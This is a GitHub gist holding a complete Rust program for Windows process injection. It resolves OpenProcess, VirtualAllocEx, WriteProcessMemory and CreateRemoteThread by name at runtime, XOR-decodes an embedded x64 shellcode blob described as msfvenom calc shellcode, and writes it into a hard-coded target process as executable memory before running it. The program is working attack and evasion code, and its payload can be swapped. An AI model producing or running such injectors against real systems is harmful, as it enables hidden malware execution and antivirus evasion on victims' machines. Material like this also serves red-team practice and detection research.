Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save analyticsearch/6d889b1d8e83ba91fdb7370ab92993e3 to your computer and use it in GitHub Desktop.
Save analyticsearch/6d889b1d8e83ba91fdb7370ab92993e3 to your computer and use it in GitHub Desktop.
/*
* Rust basic Process injection using OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThread
* API dynamic resolution and shellcode XOR encoded
*/
#[allow(non_camel_case_types)]
type HANDLE = *mut u64;
#[allow(non_camel_case_types)]
type LPVOID = *mut u64;
#[allow(non_camel_case_types)]
type DWORD = u32;
#[allow(non_camel_case_types)]
type SIZE_T = u64;
#[allow(non_camel_case_types)]
type BOOL = DWORD;
#[allow(non_camel_case_types)]
type LPCVOID = *const u8;
#[allow(non_camel_case_types)]
type LPCSTR = *const u8;
#[link(name = "KERNEL32")]
extern {
fn GetProcAddress(hModule: HANDLE, lpProcName: LPCSTR) -> LPVOID;
fn LoadLibraryA(lpLibFileName: LPCSTR) -> HANDLE;
fn GetLastError() -> DWORD;
}
fn load_fn(dll: HANDLE, fn_name: &str) -> LPVOID{
unsafe{
let fn_ptr: LPVOID = GetProcAddress(dll, fn_name.as_ptr());
if fn_ptr.is_null(){
panic!("[x] Failed to load the function {} with error code {}", fn_name, GetLastError());
}
println!("[+] Function {} loaded at {:?} !", fn_name, fn_ptr);
return fn_ptr
}
}
fn main() {
// 32byte XOR key
let key: [u8;32] = [
0xc7,0x4d,0xfd,0x7b,0xc6,0xb0,0x9b,0x26,0xe7,0xbe,0x12,0x3a,0xf5,0x31,0xbc,
0x1e,0xa1,0x73,0xa9,0x96,0xb,0xdb,0x84,0xad,0xfe,0xda,0xb6,0xad,0xd0,0x5f,
0xd8,0xf0
];
// MSFVENOM calc shellcode x64
let mut shellcode: [u8;276] = [
0x3b,0x05,0x7e,0x9f,0x36,0x58,0x5b,0x26,0xe7,0xbe,0x53,0x6b,0xb4,0x61,0xee,
0x4f,0xf7,0x3b,0x98,0x44,0x6e,0x93,0x0f,0xff,0x9e,0x92,0x3d,0xff,0xc8,0x17,
0x53,0xa2,0xe7,0x05,0x76,0x09,0x96,0xf8,0x94,0x91,0xad,0xf4,0x5f,0x0b,0x3c,
0x79,0x8d,0xde,0x0d,0x4f,0xc8,0xea,0x09,0xf7,0xa4,0xec,0x3f,0x13,0xbb,0xec,
0xd1,0x9e,0x3a,0x1d,0x95,0x0c,0xac,0x33,0x4d,0xe2,0xbb,0xad,0xa5,0x82,0x5a,
0x3b,0x25,0xba,0x3c,0x96,0xa1,0x73,0xa9,0xde,0x8e,0x1b,0xf0,0xca,0xb6,0xdb,
0x66,0xfd,0x5b,0x17,0xc0,0xb4,0x4c,0x0d,0xdd,0x32,0xc7,0x60,0x78,0x70,0xaf,
0x41,0xdb,0x7b,0x7e,0x05,0x34,0x56,0xa0,0xa5,0xe4,0xa7,0xc2,0x93,0xb5,0x6d,
0x52,0x9b,0x77,0x64,0xdd,0x1e,0xd9,0x31,0xff,0xad,0x88,0x8a,0x8a,0xb3,0xd7,
0x02,0xef,0xfb,0x2b,0xeb,0x80,0xe9,0xe4,0x5a,0x2a,0x33,0x8d,0xdf,0x0a,0x0b,
0xe2,0xec,0x75,0xd6,0xfe,0xe9,0x5b,0x1f,0xc4,0xb9,0xc6,0x9d,0xbc,0xf0,0xc2,
0x38,0xd3,0x27,0x37,0xff,0x4a,0x7b,0xad,0x6f,0xe5,0x44,0xe0,0x2b,0xe8,0xcf,
0x4a,0x81,0xcc,0x2e,0x12,0xfa,0xf7,0xff,0x2f,0xbf,0x80,0xb1,0x9e,0x17,0xb5,
0xf0,0xd4,0x59,0xcc,0xd9,0x18,0x41,0x4f,0x72,0x4f,0x30,0xbc,0x1e,0xa1,0x73,
0xa9,0x96,0x0b,0x93,0x09,0x20,0xff,0xdb,0xb6,0xad,0x91,0xe5,0xe9,0x7b,0xa8,
0xca,0x02,0xae,0x7d,0x40,0x2e,0x84,0xb1,0xff,0xa8,0x9c,0x60,0x8c,0x21,0xe1,
0x74,0x3b,0x2a,0x52,0x23,0xe7,0x82,0xd1,0xf4,0x5a,0x4d,0x4d,0xa5,0x5a,0x63,
0xb7,0xd4,0x3f,0x92,0x11,0xc6,0xe9,0xda,0xaf,0x3d,0x41,0xc7,0x59,0x94,0x5d,
0xdf,0x30,0xc4,0xb,0xcc,0x96
];
// Process targeted
let pid: u32 = 11444;
let k32_handle: LPVOID = unsafe{LoadLibraryA("kernel32\0".as_ptr())};
if k32_handle.is_null(){
panic!("[x] Failed to load the module with error code {}", unsafe{GetLastError()});
}
println!("[+] Module Kernel32 successfully loaded !");
// Loading WIN32API
let open_process: extern "stdcall" fn ( dwDesiredAccess: DWORD, bInheritHandle: DWORD, dwProcessId: DWORD) -> HANDLE = unsafe{
std::mem::transmute(load_fn(k32_handle, "OpenProcess\0"))
};
let virtual_alloc_ex: extern "stdcall" fn (hProcess: HANDLE, lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) -> LPVOID = unsafe{
std::mem::transmute(load_fn(k32_handle, "VirtualAllocEx\0"))
};
let write_process_memory: extern "stdcall" fn (hProcess: HANDLE, lpBaseAddress: LPVOID, lpBuffer: LPCVOID, nSize: SIZE_T, lpNumberOfBytesWritten: *mut SIZE_T) -> BOOL = unsafe{
std::mem::transmute(load_fn(k32_handle, "WriteProcessMemory\0"))
};
let create_remote_thread: extern "stdcall" fn (hProcess: HANDLE, lpThreadAttributes: LPVOID, dwStackSize: SIZE_T, lpStartAddress: LPVOID, lpParameter: LPVOID, dwCreationFlags: DWORD, lpThreadId: *mut DWORD) -> HANDLE = unsafe{
std::mem::transmute(load_fn(k32_handle, "CreateRemoteThread\0"))
};
for (count, value) in shellcode.clone().iter_mut().enumerate(){
shellcode[count] = *value ^ key[count%key.len()];
}
// Opening the remote process
let process_all_access: u32 = 0x1fffff;
let process_handle: HANDLE = open_process(process_all_access, 0, pid);
// Exit of the process has not been opened
if process_handle.is_null(){
panic!("[x] Failed open the process {}", unsafe{GetLastError()});
};
println!("[+] Opening process {}", pid);
// Allocate space for the shellcode
let remote_buffer: HANDLE = virtual_alloc_ex(process_handle, std::ptr::null_mut(), shellcode.len() as u64, 0x00001000 | 0x00002000, 0x40);
assert!(!remote_buffer.is_null());
println!("[+] Buffer allocated at : {:?}", remote_buffer);
// Write shellcode in memory
let mut bytes_written: SIZE_T = 0;
let status: BOOL = write_process_memory(process_handle, remote_buffer, shellcode.as_ptr(), shellcode.len() as u64, &mut bytes_written);
assert!(status != 0);
println!("[+] {} bytes written at {:?}", bytes_written, remote_buffer);
// Run the shellcode
let mut _thread_id: DWORD = 0;
let thread_handle: HANDLE = create_remote_thread(process_handle, std::ptr::null_mut(), 0, remote_buffer, std::ptr::null_mut(), 0, &mut _thread_id);
assert!(!thread_handle.is_null());
println!("[+] Shellcode injected !");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment